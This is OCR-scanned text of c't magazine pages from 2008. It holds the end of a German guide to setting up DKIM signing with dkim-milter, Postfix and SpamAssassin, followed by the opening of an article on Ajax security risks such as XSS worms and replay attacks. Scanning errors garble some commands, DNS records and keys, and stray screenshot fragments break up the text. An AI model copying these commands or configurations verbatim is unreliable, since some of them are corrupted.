wenn alle anderen Komponenten des Mail- 
systems die Nachricht bearbeitet haben und 
eine weitere Veränderung von Header und 
Body ausgeschlossen ist. 

Der andere Ansatz ist, die Signatur so zu 
verfassen, dass bestimmte Modifikationen 
sie nicht entwerten. Eine DKIM-Signatur 
kann so gestaltet werden, dass sie nur eine 
bestimmte Länge des Body signiert. So kann 
die Mailingliste ihren Footer anhängen, ohne 
die Signatur zu zerstören. Dieser Toleranzbe- 
reich birgt allerdings auch die Möglichkeit 
des Missbrauchs: Der Footer kann nachträg- 
lich durch eine unerwünschte Botschaft er- 
setzt werden; zusätzliche HTML-Elemente 
können den signierten Text komplett überla- 
gern und angefügte Attachments verleiten 
den Empfänger zum Doppelklick. Die Archi- 
tekten des DKIM-RFCs raten daher auch aus- 
drücklich von einer Längenangabe in der 
Signatur ab. 

Eine sichere Methode wäre, die erste Sig- 
natur des Absenders über eine einge- 
schränkte Länge der E-Mail anzubringen und 
nach Bearbeitung der E-Mail durch einen 
Mailinglisten-Manager eine zweite Signatur 
anzufertigen, die sich dann auf die vollstän- 
dige E-Mail erstreckt. Jede der Signaturen ist 
für sich gültig und eine Manipulation könnte 
automatisch erkannt werden, bevor der 
Postmaster zum Ohrenarzt muss, weil ein 
Kollege ihm am Telefon sehr deutlich mitge- 
teilt hat, wie sehr er signierten Spam verab- 
scheut. 


c't 2008, Heft 2 


Emfänger- 
Mail-Server 


Mail-Client 


2 
SpamAssassin 


i 


— verifizieren 


Content-Filter Fa 
—- signieren 


DKIM lässt sich an verschiedenen Stellen 
in das Postfix-Mail-System integrieren. 


In welcher Reihenfolge die Signaturen ab- 
zuarbeiten sind, erkennt das verifizierende 
Programm übrigens an der Reihenfolge, in 
der sie angebracht sind. Das ist möglich, weil 
der RFC von der signierenden Instanz for- 
dert, ihre DKIM-Signatur immer an oberster 
Stelle in die Mail einzufügen. Die doppelte 
Signatur ist allerdings nur dann sinnvoll, 
wenn verschiedene Teile des Mailsystems 
vollkommen unabhängig voneinander arbei- 
ten. In der Regel genügt es, eine einzige Sig- 
natur über die gesamte Länge der Nachricht 
möglichst spät anzubringen. So geht auch 
das hier beschriebene System vor. 

Damit enden die Vorüberlegungen und 
der Postmaster kann mit der Einrichtung be- 
ginnen. Zuerst erzeugt er den Signier-Schlüs- 
sel. Der öffentliche Teil des Schlüssels wan- 
dert in den DNS-Server zum Abruf für ent- 
fernte Verifizierer. Den privaten Teil des 
Schlüssels erhält das signierende Programm 
dkim-milter, das über das Sendmail-Milter- 
Protokoll in den SMTP-Server eingebunden 
wird. Zuletzt gilt es, im SpamAssassin die Sig- 
naturprüfung mit Hilfe des Perl-Moduls 
Mail::DKIM zu aktivieren und passende Re- 
geln für die Behandlung der Nachrichten zu 
definieren. 


Schlüsseldienst 


Die Verfasser des DKIM-RFCs wollen wohl, 
dass ihr Standard sich möglichst schnell ver- 
breitet, denn anders als für RFCs sonst üblich 
haben sie viele Bemerkungen mit Praxisbe- 


Praxis | Spam-Abwehr 


zug eingebaut. So auch das openssl-Kom- 
mando, das den privaten Schlüssel erstellt: 
openssl genrsa -out mail200801.private 1024. Der 
Name der Schlüsseldatei ist beliebig. Um den 
Überblick zu behalten, empfiehlt es sich je- 
doch, sie genauso zu nennen wie den DNS- 
Eintrag; Details dazu weiter unten. Die 
Schlüssellänge von 1024 Bit entspricht der 
Minimalanforderung des RFC, reicht aber 
derzeit vollkommen aus. Nun muss der öf- 
fentliche Schlüssel in die Datei mail200801. 
public extrahiert werden. Das geschieht mit 
openssl rsa -in mail200801.private -out mail200801.public 
-pubout -outform PEM. 

Der DKIM-Standard sieht momentan aus- 
schließlich vor, dass der öffentliche Schlüssel 
per DNS als TXT-Record verbreitet wird. 
Später soll ein eigener Record-Typ definiert 
werden. Der Inhalt der eben erzeugten 
PEM-Datei eignet sich jedoch noch nicht 
als DNS-Record. Das Kommando grep -v -e "A-" 
mail200801.public } tr -d "\n" entfernt den Public- 
Key-Header und -Footer sowie die Zeilen- 
umbrüche. Die vollständige Zeile für einen 
Eintrag in der Zone-Datei des DNS-Servers 
bind [2] sieht dann so aus wie im Listing unten. 

Der Name des Records besteht aus dem 
Namen des Schlüssels und der Subdomain 
„_domainkey”. Es empfiehlt sich, wie hier ge- 
zeigt, in den Schlüsselnamen eine Versions- 
nummer einzufügen, denn Signatur-Schlüs- 
sel sollen aus Sicherheitsgründen regelmä- 
Big ausgetauscht werden. Gleichzeitig sollen 
nicht mehr aktiv genutzte Schlüssel nicht ge- 
löscht, sondern widerrufen werden. Zum 
Widerrufen setzt der Admin einfach einen 
Record ohne Schlüssel in seinen DNS: 


mail200801._domainkey IN TXT "v=DKIM1\; p=" 


Durch die Versionsnummer sind Überschnei- 
dungen zwischen aktiven und widerrufenen 
Schlüsseln ausgeschlossen. Die im RFC vor- 
geschriebene Subdomain „_domainkey” mit 
dem vorangestellten Unterstrich verhindert, 
dass der Key-Eintrag mit anderen Namen kol- 
lidiert. 

Neben dem mit p= eingeleiteten öffent- 
lichen Schlüssel enthält der DNS-Record 
noch einige Parameter. Gemeinsam ist 
ihnen die Notation, bei der Parameter und 
Wert mit einem Gleichheitszeichen ohne 
Leerzeichen angegeben und mit einem per 
Backslash geschützten Semikolon „\;" abge- 
schlossen werden. 

Der v-Parameter benennt die benutzte 
Version des DKIM-Standards. Er ist zwar op- 
tional, wird aber im RFC ausdrücklich emp- 
fohlen. Das v= muss als erster Eintrag ge- 
nannt werden, wenn es überhaupt vor- 
kommt. Bislang ist nur DKIM1 erlaubt. 

Als Nächstes folgt der k-Parameter, der 
den Schlüsseltyp (key type) spezifiziert. Auch 


mail200801._domainkey IN TXT "v=DKIMI\; k=rsa\; t=y\;p=MIGfMAOGCSgGSIb3DAEBAQUAA4GNADCBIAKBIADBba6m,7 
S9PifYFLBcEe2nAvwölR5RotPOyBm2tUks1Ytggrr/W+CiiFj3Giy/Psd7sazBKUB/OIMYA1BuglsUrUWOarVKYSIFGAgx6fnaZ,7 
4UabOKv5köNlo3LLcwdDF311Jn7M4PvARzelsFOterbg/ugDTm+gg9FwsB/PSdrbYeEQIDAQAB" 


Für den DNS-Server bind gehört der öffentliche Schlüssel mit den Optionen 


in eine Zeile der passenden Zone-Datei. 
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er ist optional; die Vorgabe lautet „rsa”. Zu- 
letzt vor dem Schlüssel steht der t-Parame- 
ter, der Sondereigenschaften spezifiziert, 
zum Beispiel, ob es sich um einen Testlauf 
(t=y) handelt. Dann nämlich dürfen Verifizie- 
rer die Signatur zwar prüfen, das Ergebnis 
aber nicht in Bewertungen der Nachricht ein- 
fließen lassen. Sobald der Postmaster sich 
seiner DKIM-Installation sicher ist, sollte er 
also einen TXT-Record ohne das t=y online 
stellen. 

Testweise fragt man den Eintrag mit dem 
Kommando 


dig mail200801._domainkey.example.com TXT +short 


ab. Unter Windows tut es der Befehl nslook- 
up -type=TXT mail200801._domainkey.example.com. 


Signatur 


Mit dem Milter-Protokoll von Sendmail las- 
sen sich on the fly sowohl Header als auch 
Body einer E-Mail modifizieren. Wietse Vene- 
ma, geistiger Vater von Postfix, empfand alle 
Ansätze für ein eigenes Protokoll als „poor 
use of human and system resources” und 
brachte seinem Server daher ebenfalls Milter 
bei. Die Postfix-Implementierung verfügt 
zwar aufgrund der anderen internen Struktur 
nicht über dieselben Milter-Makros wie 
Sendmail. Aber seit Version 2.4 reicht der 
Funktionsumfang für die DKIM-Signierung 
aus. 

Weil der Standard recht neu ist, ändert 
sich die Software derzeit noch häufig und 
die Distributionen hinken hinterher. Daher 
ist es meist nötig, die DKIM-Applikation 
selbst zu kompilieren, in diesem Fall dkim- 
milter (siehe Soft-Link). Wer sich dazu ge- 
zwungen sieht, muss dann auch regelmäßig 
nachsehen, ob dkim-milter ein Sicherheits- 
update braucht. Es empfiehlt sich, auf das 
Paket der Distribution umzusteigen, sobald 
das alle Funktionen unterstützt, damit dann 
wieder automatische Sicherheitsupdates 
greifen. 

Voraussetzung sind die „Milter Develop- 
ment-Libraries”. Diese erhalten Postfix-An- 
wender indem sie über einen Paketmanager 
entweder das sendmail-devel- oder libmilter- 
dev-Paket installieren; da die Milter-Schnitt- 
stelle sich nicht mehr ändert, genügt hier das 
Paket der Distribution. Danach kompilieren 
und installieren die etwas ungewöhnlichen 
Befehle 


sh ./Build 
sh ./Build install 


das Programm dkim-filter. Es ist ratsam, für 
den Filter einen nicht privilegierten Benutzer 
anzulegen, zum Beispiel mit dem Namen 
„dkim“. Er sollte in keinem Zusammenhang 
mit dem Mailsystem stehen, insbesondere 
nicht zu derselben Unix-Gruppe gehören. 
Seine Einstellungen entnimmt dkim-filter 
den Kommandozeilenoptionen und einer 
Konfigurationsdatei, die man dem Pro- 
gramm über den Kommandozeilenschalter -x 
mitgibt. Das Listing unten auf dieser Seite 
zeigt eine einfache Konfiguration. Achtung 
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Ressourceneintragstyp 


wählen Sie einen Ressourceneintragstyp: 


Öffentlicher Schlüssel (KEY) 
Postfach {MB} 

Postfachinformationen (MINFO) 
Routen über {RT} 


Beschreibung: 


Eintrag für Text (TXT}. Enthält eine Zeichenkette, die als 
Beschreibung des assozilerten spezifischen DN-Domänennamens 
dient, Die Semantik des aktuellen beschreibenden Texts ist abhängig 
von der DNS-Domäne, in der sich diese Einträge befinden. (RFC 
1035) 


Eintrag erstellen. N Abbrechen 


Neuen Eintrag erstellen 
Text (rat) | 


Eintragsname (bei Nichtangabe wird übergeordnete Domäne verwendet): 
mail200801._domainkey 


Yollqualifizierter Domänenname: 


mail200801.._domainkey.example.com. 


Text: 
t=yl;p=MIGEMADGCSAGSIb3DQEBAQUAA4GNADCBICKEIODBbgEmS =] 


": 


Lx«nN Abbrechen 


Um im DNS eines Windows-Servers den TXT-Record für den öffentlichen 
Schlüssel anzulegen, muss man im Kontextmenü der Zone den Punkt 


„Weitere neue Einträge” auswählen. 


Postfix-Admins! Die Notation sieht ähnlich 
wie Postfix-Syntax aus, ist es aber nicht. 

Mit diesen Einstellungen signiert dkim- 
filter alle ausgehenden Mails der Domain 
example.com, aber keine ihrer Subdomains 
(SubDomains-Parameter). Das Programm läuft 
ausschließlich im Signier-Modus (Mode), weil 
das Verifizieren im hier vorgestellten Mail- 
system SpamAssassin übernimmt. 

Nach dem Start mit root-Rechten läuft das 
Programm unter dem nicht-privilegierten 
Account dkim weiter. Damit es trotzdem den 
Signier-Schlüssel aus der mit KeyFile ange- 
gebenen Datei verwenden kann, muss der 
Admin die Zugriffsrechte anpassen: 


chown dkim mail200801.private 
chmod 0400 mail200801.private 


Nach dem Start wartet dkim-filter auf dem 
mit Socket spezifizierten Kanal auf eingehende 
Verbindungen. 

Der Canonicalization-Parameter legt für Hea- 
der und Body fest, wie Umbrüche und Leer- 
zeichen behandelt werden. Im Beispiel er- 
laubt relaxed/simple, dass die signierten Hea- 
der beim Prüfen mehr Whitespace enthal- 
ten als beim Signieren, während der Body 
exakt so ankommen muss, wie er signiert 
wurde. Das ist sinnvoll, weil eventuell Ser- 
ver auf dem Weg der Mail die Header „opti- 
mieren“, indem sie lange Einträge umbre- 
chen und anschließend mit Leerzeichen 
einrücken. 

Manche Header sind für die Authentizität 
der Mail nicht wichtig und werden unter- 
wegs besonders häufig geändert oder ent- 


Domain 
$ubDomains No 
Mode s 
UserID dkim 
n KeyFile 
AusderDatei socket 


dkim-filter.conf holt 
sich das Signier- 
Programm seine 
Einstellungen. 


OmitHeaders 
Selector 
Background Yes 


fernt. Damit das nicht jedes Mal die Signatur 
zerstört, kann der Postmaster sie von Anfang 
an mit dem Parameter OmitHeaders von der Sig- 
natur ausnehmen (siehe S. 124). 

Der Selector-Parameter sagt dkim-filter, wel- 
chen Namen er für den öffentlichen Schlüs- 
sel in die Signatur eintragen soll. Er muss 
dem zuvor erzeugten DNS-Eintrag entspre- 
chen, damit der Verifizierer sich später den 
passenden TXT-Record besorgen kann. 

Für den Testbetrieb veranlassen die zu- 
sätzlichen Optionen Syslog Yes und SyslogSuccess 
Yes dkim-filter, Fehler- und Erfolgsmeldungen 
ins Systemlog zu schreiben. 

Der Befehl dkim-filter -x /etc/mail/dkim-filter.conf 
startet das Programm mit der richtigen Kon- 
figurationsdatei. Es verzieht sich in den 
Hintergrund (Background-Parameter) und war- 
tet auf Aufträge. Mit dem Kommando Isof -i | 
grep 8891 prüft root schnell, ob dkim-filter wie 
gewünscht auf Port 8891 lauscht. 

Dann ist es Zeit, Postfix und den neuen 
Helfer miteinander ins Gespräch zu bringen. 
Das soll wie eingangs erklärt möglichst spät 
passieren, in der skizzierten Systemarchitek- 
tur also erst, wenn amavisd-new eine Nach- 
richt wieder an das Postfix-Mailsystem zu- 
rückgibt. Ein dedizierter SMTP-Server nimmt 
die Nachricht entgegen [3]. Auch er holt sich 
seine Konfiguration aus der Datei master.cf. 
Die Zeile 


-0 smtpd_milters=inet:localhost:8891 


am Ende dieses Abschnitts genügt. Postfix 
übergibt die Mail nun an den Milter und ver- 
sendet das Ergebnis, sobald es von dkim-fil- 


example.com 


/etc/mail/mail200801.private 

inet:88919127.0.0.1 

Canonicalization relaxed/simple 
Return-Path,Received,Comments,Keywords,Bec,Resent-Bcc 
mail200801 
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ter zurückkommt. Nach einem postfix reload ist 
der dkim-filter in den Postfix-E-Mail-Trans- 
port eingebaut und kann getestet werden. 

Die Betreiber von DKIM.org haben zum 
Test DKIM-signierter E-Mails eigens die 
Adresse dkim-test@testing.dkim.org einge- 
richtet. Wer dorthin eine Nachricht sendet, 
sollte kurz danach eine E-Mail-Antwort mit 
dem Signaturstatus seiner Nachricht erhal- 
ten. Sie vermerkt gegen Ende, im Authenti- 
cation-Results-Header, ob dkim.org die Sig- 
natur verifizieren konnte. Ist dkim.org zufrie- 
den, ist die Implementierung der signieren- 
den Instanz erfolgreich abgeschlossen. 

Wer noch feilen möchte, kann sich unter 
anderem den Keylist-Parameter von dkim-fil- 
ter ansehen. Dieser Parameter liest eine Ta- 
belle ein, in der Domain- und sogar User-spe- 
zifisch Signier-Schlüssel zugewiesen werden 
können. 


Prüfprotokoll 


Solange die meisten Domains unsignierte 
Mails verschicken, eignet sich eine fehlende 
oder falsche Unterschrift noch nicht als allei- 
niges Kriterium zum Aussortieren einer E- 
Mail. Daher sollte das Ergebnis der Signatur- 
prüfung in den Spam-Score von SpamAssas- 
sin eingehen. SpamAssassin bringt zwar ein 
Plug-in für die DKIM-Auswertung mit, 
braucht aber zusätzlich das Perl-Modul 
Mail::DKIM. Wie bei dkim-milter enthalten 
viele Distributionen veraltete Pakete, sodass 
der Admin gezwungen ist, mit dem Kom- 
mando cpan Mail::DKIM das aktuelle einzuspie- 
len. Eventuell bietet die Installationsroutine 
an, weitere Modulen einzurichten, was man 
ihr jedoch nur erlaubt, wenn die Linux-Distri- 
bution sie nicht anbietet. 

Um das DKIM-Plug-in zu aktivieren, setzt 
man in der versionsspezifischen Konfigura- 
tionsdatei /etc/mail/spamassassin/v320.pre 
die Option loadplugin Mail::SpamAssassin::Plugin:: 
DKIM. Sie ist dort schon vorhanden, aber aus- 
kommentiert. 

SpamAssassin muss jetzt nur noch erfah- 
ren, wie DKIM-signierte Nachrichten zu be- 
handeln sind. Passende Anweisungen wer- 
den global gültig in die Datei /etc/mail/spam 
assassin/local.cf geschrieben. Das Effektivste 
ist, korrekt signierte E-Mails aus bekannten 
Domains zu bevorzugen. Dazu dient der Be- 
fehl whitelist_from_dkim (siehe Listing rechts 
unten). 

Einige wichtige E-Mail-Absender wie eBay 
haben noch nicht auf DKIM umgestellt, son- 
dern nutzen das Vorgängerverfahren Do- 
mainKeys [4]. Sowohl Mail::DKIM als auch das 
SpamAssassin-Plug-in kommen mit beiden 
Signaturtypen zurecht. Es genügt daher, 
diese Spätzünder mit gesonderten DK-Re- 
geln zu behandeln, wie das Beispiel es zeigt. 

Nun bleibt nur noch das Tuning, wie die 
korrekte Signatur in die Berechnung des 
Spam-Score (der „Spamhaftigkeit”) einer 
Nachricht eingehen soll. SpamAssassin regelt 
das über die score-Einträge und bringt schon 
bei der Installation Vorschläge mit, die die Ent- 
wickler optimieren, indem sie ihr Programm 
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© DKIM reflector results 
Eile Edit Message Address Calendar Window Help 
2 ee) 


Draft | Reply ReplyaAll Forward Moveto Delete 


Praxis | Spam-Abwehr 


E-Mails an die Adresse 
dkim-test@testing.dkim.org 
beantwortet der Server mit 


" From: [rai <mail®testing.dkim.org> 


einer detaillierten Status- 


" To: | ‚@gmail.com 


meldung zur Signatur. 


P.Ce: 


Sent: [Donnerstag, 13. Dezember 2007 01:58 


Dre 1 


auf abgefangenen Spam (und Nicht-Spam) 
loslassen. Derzeit wirkt ein Eintrag auf der 
DKIM-Whitelist (USER_IN_DKIM_WHITELIST) 
mit einem Score von -100 extrem stark; alle 
weiteren Spam-Tests werden bedeutungslos. 
Andererseits fällt eine DKIM-Verifizierung 
ohne Whitelist-Eintrag fast gar nicht ins Ge- 
wicht (-0.001). Das mag daran liegen, dass 
DKIM bislang kaum eingesetzt wird und daher 
noch nicht in die Statistik eingehen kann. 

Erste Praxiserfahrungen zeigen, dass man 
diese Gewichte getrost verschieben darf. Auf 
dem System des Autors werden Mitglieder 
der DKIM-Whitelist nur mit einem Bonus von 
-4.0 Punkten belohnt. Wer nicht explizit ge- 
“whitelisted” wurde, aber korrekt signiert, er- 
hält 1.3 Punkte Abzug von der Spamhaftig- 
keit. Einzig diejenigen, die DKIM noch im 
Testbetrieb fahren, erhalten keine spezielle 
Behandlung. Analog werden die Nutzer von 
DomainKeys bewertet. 

Selbst bekannt konformen Sender sollte 
man nicht durch besonders hohe Scores Tür 
und Tor öffnen. Denn eine gesunde Policy 
schafft definierte Beziehungen und nicht 
grenzenloses Vertrauen. Es könnte ja durch- 
aus sein, dass der Sender plötzlich an ande- 


whitelist_from_dkim *acharite.de charite.de 
whitelist_from_dkim *dcisco.com cisco.com 
whitelist_from_dk *debay.com ebay.com 
whitelist_from_dk *debay.de ebay.de 


score USER_IN_DKIM_WHITELIST -4.0 
score DKIM_VERIFIED -1.3 
score DKIM_POLICY_TESTING 0 


score USERLIN_DK_WHITELIST -4.0 


score DK_VERIFIED -1.1 


Da wichtige E-Mail-Versender wie eBay 
noch das überholte Verfahren Domain- 
Keys einsetzen, sollte SpamAssassin in 
einer Übergangszeit auch diese Signaturen 
berücksichtigen. 


Subject: |DKIM reflector results 
‚All Quotes e 


Message 20f2 


rer Stelle eindeutige Spam-Merkmale erken- 
nen lässt, die durch die eine DKIM-Regel 
maßlos überstimmt kein Gehör mehr finden. 
Es ist letztlich also wie bei einer Bewerbung - 
der Gesamteindruck muss stimmen. 

Wer wissen will, wie SpamAssassin wertet, 
sichert die zu prüfende Mail als Datei heraus 
und ruft als der User, der SpamAssassin auch 
im Mailsystem ausführt, per Kommandozeile 
auf: spamassassin < maildatei. Der X-Spam-Status- 
Header nennt die Tests, die durchgeführt 
wurden und den Gesamtscore. So lässt sich 
an einer signierten und einer unsignierten 
Mail von demselben Absender schön nach- 
vollziehen, wie die neuen SpamAssassin-Re- 
geln in local.cf greifen. 

DKIM ist noch verhältnismäßig wenig 
verbreitet. Es hat das Potenzial, viel mehr 
Verbindlichkeit - und damit Sicherheit - in 
den täglichen E-Mail-Verkehr zu bringen. 
Funktionstüchtige Software ist vorhanden 
und auch die Implementierung ist nur er- 
träglich kompliziert. Für bekannte Kommu- 
nikationspartner sind schnell Regeln einge- 
richtet, so dass sich die investierte Zeit be- 
zahlt macht. (je) 
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Report | Webprogr 


Tim Wartmann 


Die Vorteile von Ajax sind reichlich dokumentiert und 
in Form von Web-2.0-Diensten allgegenwärtig. Doch 
wie steht es um die Sicherheit? Das zugrunde liegende 
JavaScript und die asynchrone Datenübertragung 


Risiko 4 


Eine Analyse der Sicherheit von Ajax 


bergen Risiken, die bei Design und Programmierung 
moderner Webanwendungen zu beachten sind. 


as im Oktober 2005 als 
Spielerei eines begab- 
ten IT-Freaks begann, 


sollte sich bald als Vorlage für 
spätere, weitaus gefährlichere 
Angriffe dieser Art herausstellen: 
Der MySpace-Nutzer Samy schaff- 
te es innerhalb weniger Stun- 
den, die Anzahl seiner virtuellen 
Freunde von anfangs etwa 70 
auf über eine Million zu erhöhen 
(siehe Kasten „Ajax-Würmer und 
XSS"). Möglich wurde dieser 
medienwirksame Angriff durch 
eine Sicherheitslücke in der in 
Ajax programmierten Plattform 
von MySpace. 

Zahlreiche Beispiele aus der 
Praxis zeigen die beeindrucken- 
den Möglichkeiten von Web- 
anwendungen, die durch Ajax 
Realität werden. Die Grenzen 
zwischen Web- und Desktop- 
anwendungen verschwimmen 
zunehmend [1]. Im Rahmen des 
noch immer währenden Hypes 
um das Web 2.0, zu dessen tech- 
nischen Errungenschaften auch 
Ajax gehört, wurde die Sicher- 
heit dieser Technik jedoch lange 
vernachlässigt. 

Ajax-Anwendungen fallen, wie 
klassische Webanwendungen 
auch, in die Gattung der verteil- 
ten Systeme. Diese setzen sich 
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aus Client, Server und dem dazwi- 
schen liegenden Transportweg 
zusammen, die gleichzeitig alle- 
samt potenzielle Angriffspunkte 
sind. 


Gutes Skript, böses Skript 


Dreh- und Angelpunkt von Ajax 
ist die clientseitige Skriptsprache 
JavaScript. Die Skripte werden 
auf den Browser des Nutzers ge- 
laden und dort in einem Sand- 
box-ähnlichen Sicherheitskontext 
(Same Origin Policy) ausgeführt. 
Der bietet Schutz gegen Aus- 
lesen und Manipulieren lokaler 
Ressourcen des Nutzers. Zusätz- 
lich verhindert er den Aufbau 
von Netzwerkverbindungen von 
Skripten zu anderen Skripten 
fremder Domains via XMLHttp- 
Request, einem API zum Übertra- 
gen beliebiger Daten über das 
Webprotokoll HTTP. 

Angriffe wie Cross-Site-Scrip- 
ting (XSS) umgehen diesen 
Schutzmechanismus jedoch. Bei 
XSS wird eine Sicherheitslücke in 
der Webanwendung ausgenutzt, 
um Schadcode, meist JavaScript, 
einzuschleusen. Er wird im ver- 
trauenswürdigen Kontext der 
Webanwendung ausgeführt und 
bildet die Grundlage für weitere 


Angriffe. Bei den Sicherheits- 
lücken handelt es sich meist um 
eine unzureichende Validierung 
von Eingaben, die üblicherweise 
in Form von GET- oder POST- 
Parametern übergeben werden 
und lassen sich einfach manipu- 
lieren [2]. 

Ist es einem Angreifer gelun- 
gen, seinen Schadcode erfolg- 
reich mittels XSS in die Weban- 
wendung einzuschleusen, er- 
leichtert ihm Ajax weitere An- 
griffe gleich mehrfach. Denn 
Nutzer erhalten in der Regel 
keine Kenntnis von Datenanfor- 
derungen, die der Browser über 
XMLHttpRequest erzeugt und 
versendet. Angreifer können 
sich dies zu Nutze machen und 
heimlich im Hintergrund belie- 
bige Daten austauschen. Gleich- 
zeitig lassen sich hierdurch vi- 
renartige Angriffe realisieren, 
die sich über XMLHttpRequest 
automatisch fortpflanzen. So 
haben Ajax-Würmer wie My- 
Space Samy und Yahoo! Yaman- 
ner (siehe Kasten „Ajax-Würmer 
und XSS“) funktioniert. 


Client lauscht mit 


Da JavaScript clientseitig im 
Browser des Nutzers ausgeführt 


wird, muss dieser den Skriptcode 
auch im Klartext erhalten. Dem- 
nach gibt es keine Möglichkeit, 
den JavaScript-Code vollständig 
gegen unbefugtes Einsehen 
zu schützen. Die verschlüsselte 
Übertragung mittels SSL verbirgt 
die Daten nur auf dem Transport- 
weg. Sobald der Code auf dem 
Client empfangen wurde, liegt er 
wieder im Klartext vor. Boshafte 
Nutzer können den Quelltext 
analysieren und das erworbene 
Wissen für die Vorbereitung spä- 
terer Angriffe missbrauchen. 
Wertvolle Informationsschätze 
im JavaScript-Code sind neben 
den Namen von Methoden und 
Variablen auch verwendete Da- 
tentypen und -bereiche. 

In der Folge kann etwa der 
Server durch gezielte, gehäuf- 
te Anfragen (Denial-of-Service- 
Angriff) zum Absturz gebracht 
werden. Selbst ehrgeizige Schutz- 
maßnahmen wie das Ver- 
schleiern des Codes oder das De- 
aktivieren des Browsercaches 
können potenziellen Angreifern 
ihr Werk lediglich erschweren - 
es zu verhindern, vermögen sie 
nicht. Hier wird der Vorteil von 
Serversprachen wie PHP oder 
Perl deutlich: Bei korrekter Konfi- 
guration des Webservers kann 
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deren Quelltext nicht durch Drit- 
te eingesehen werden. So blei- 
ben beispielsweise Passwörter 
bei Datenbankabfragen für Nut- 
zer unsichtbar. 

Als goldene Regel sollte Code, 
der zur Implementierung von 
Sicherheit (z. B. Parameter-Vali- 
dierung oder Zugriffskontrolle) 
und wichtiger Business-Logik 
dient, stets auf dem Server ver- 
bleiben. Clientseitig in JavaScript 
realisierte Prüfungen wie Pass- 
wort-Checks lassen sich im 
Quellcode jederzeit einsehen 
und aushebeln. Sie bieten daher 
keinen Schutz. 


Fremde Federn 


Ajax-Anwendungen nutzen häu- 
fig Daten aus Webservices von 
Fremdanbietern. Diese können 
aufgrund der Same Origin Policy 
über JavaScript nicht direkt gela- 
den werden. Daher muss der Zu- 
griff auf die fremde Domain über 
einen Proxy erfolgen, der auf 
dem Server läuft, von dem das 
Skript geladen wurde. Andern- 
falls erhielte der Nutzer eine Feh- 
lermeldung des Browsers. 

Prinzipiell kann man Daten 
aus fremden Quellen allerdings 
nicht als vertrauenswürdig anse- 
hen. Vor ihrer Weiterverarbei- 
tung in der eigenen Anwendung 
sollten sie daher stets validiert 
werden. Dies gilt besonders für 
User generated Content, also 
beispielsweise Nutzerkommen- 
tare aus Blogs oder Forenbei- 
träge (siehe Kasten „Eingabe- 
validierung”). 

Webservices stellen ihre Da- 
ten über standardisierte Schnitt- 
stellen (z. B. SOAP oder REST) zur 
Verfügung. Deren offene Archi- 
tektur ist aber ein sicherheitsre- 
levantes Problem. Als Schnitt- 
stellen zu serverseitig gespei- 
cherten Daten können sie leicht 
zum unbefugten Kopieren gan- 


Webbrowser 


zer Datenbanken missbraucht 
werden. Für den Betreiber eines 
Servers sind diese Daten als Gan- 
zes jedoch oft Existenzgrundlage 
und ein Eigentum, das vor unbe- 
fugten Zugriffen geschützt wer- 
den muss. Einige Anbieter 
limitieren daher den Zugriff auf 
Ihre Webservices durch Benut- 
zerkonten: Nur wer sich regis- 
triert, kann über eine bestimmte 
Anzahl von Anfragen pro de- 
finierte Zeitspanne Daten an- 
fordern. Dieses Schutzprinzip 
nutzen unter anderem Google 
(Developer Token) und Amazon 
(Secret Access Key). 


Streng vertraulich 


Aber auch der Nutzer hat ein 
Interesse daran, dass seine per- 
sönlichen Daten nicht miss- 
braucht werden. Sicherheitspro- 
tokolle wie SSL schützen diese 
zwar gegen Abhören und Mani- 
pulation während der Übertra- 
gung, nicht aber gegen so- 
genannte Replay-Angriffe. Dabei 
fängt der Angreifer vom Client 
an den Server übertragene Da- 
tenpakete - egal ob verschlüs- 
selt oder nicht - ab und sendet 
sie erneut. Ein klassisches Bei- 
spiel dafür ist das ungewollt 
mehrfache Ausführen einer 
Kontotransaktion. 

Angriffe dieser Art lassen sich 
durch einen Einmal-Token-Me- 
chanismus verhindern. Bei jeder 
HTTP-Anfrage muss der Client ein 
gültiges Token mitsenden. Dieses 
ist nur für eine Anfrage gültig. Mit 
der darauf folgenden Antwort 
schickt der Server das nächste 
gültige Einmal-Token mit - am 
besten verschlüsselt. Gelingt es 
einem Angreifer, eine solche 
HTTP-Antwort abzufangen, so 
bleibt ihm nur das sehr kurze 
Zeitfenster, bis der berechtigte 
Nutzer im Rahmen der nächsten 
Anfrage das Token entwertet. 


IE 
Fremder Server 


Same Origin Policy: Aus Sicherheitsgründen darf JavaScript nie 
direkt mit einem anderen Server kommunizieren als dem, von dem 
es geladen wurde. Eine Lösung, um Daten von Webservices 
nachzuladen, ist der Umweg über ein Proxy-Skript auf dem Server. 
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Im September 2006 nutzten Angreifer eine Cross-Site-Scripting- 
Schwachstelle im Webauftritt der Bundesregierung, um 
Falschmeldungen zu verbreiten. 


Als vielversprechender, er- 
weiterbarer Standard für die 
Absicherung von Webservices 
gilt Web Services Security (WSS) 
des Standardisierungsgremiums 
OASIS [3]. Er ermöglicht neben 
einem Einmal-Token-Mechanis- 
mus auch die verschlüsselte und 
signierte Übertragung von 
Daten. WSS baut auf den beiden 
älteren Standards XML-enc [4] 
und XML-dsig [5] auf und ist be- 
reits in den Implementierungen 
Microsoft Web Services Enhance- 
ments (WSE) sowie Apache Axis2 
umgesetzt (siehe Soft-Link). 


Daten auf Reisen 


Während der Server bei klas- 
sischen Webanwendungen mit 
jeder Antwort meist vollständi- 
gen HTML-Code an den Client 
sendet, erfolgt bei Ajax eine fein- 
gliedrigere Kommunikation: Es 
werden häufig nur noch die ei- 
gentlichen Nutzdaten übertra- 
gen, was zu einer Trennung zwi- 
schen den Daten und dem Code 
der Präsentationsschicht führt. 
Die Daten können durch ver- 
schiedene Formate repräsentiert 
sein; am häufigsten kommen 
XML und JSON (JavaScript Ob- 
ject Notation) zum Einsatz. 

In allen Fällen sind die Daten 
während ihrer Übermittlung ver- 
wundbar. So kann ein Angreifer 
in abgefangene JSON-Daten 
Schadcode zum Ausspähen der 
Browser-History einbetten, ehe 
er sie an den Client sendet. Die- 
ser führt bei der Deserialisierung 
der JSON-Daten den Schadcode 
aus; die Privatsphäre des Nutzers 
ist damit verletzt. Die Daten 
sollten daher nach Empfang 


auf dem Client stets validiert 
werden. 

Eine clientseitige Schemavali- 
dierung vermag es, XML-Daten 
auf enthaltenen Schadcode zu 
prüfen. Hierfür stehen in ver- 
schiedenen Plattformen Klassen- 
bibliotheken bereit, etwa die 
Klasse XmlIValidatingReader für 
Microsoft .NET [6]. Zusätzlichen 
Schutz bieten die beiden er- 
wähnten Sicherheitsstandards 
XML-enc und XML-dsig. Sie er- 
möglichen das Verschlüsseln 
und Signieren von XML-Daten 
für den Zeitraum ihrer Über- 
tragung. 

Bei JSON erfolgt die Kodie- 
rung der Daten hingegen in 
JavaScript-Syntax. Dieser Quell- 
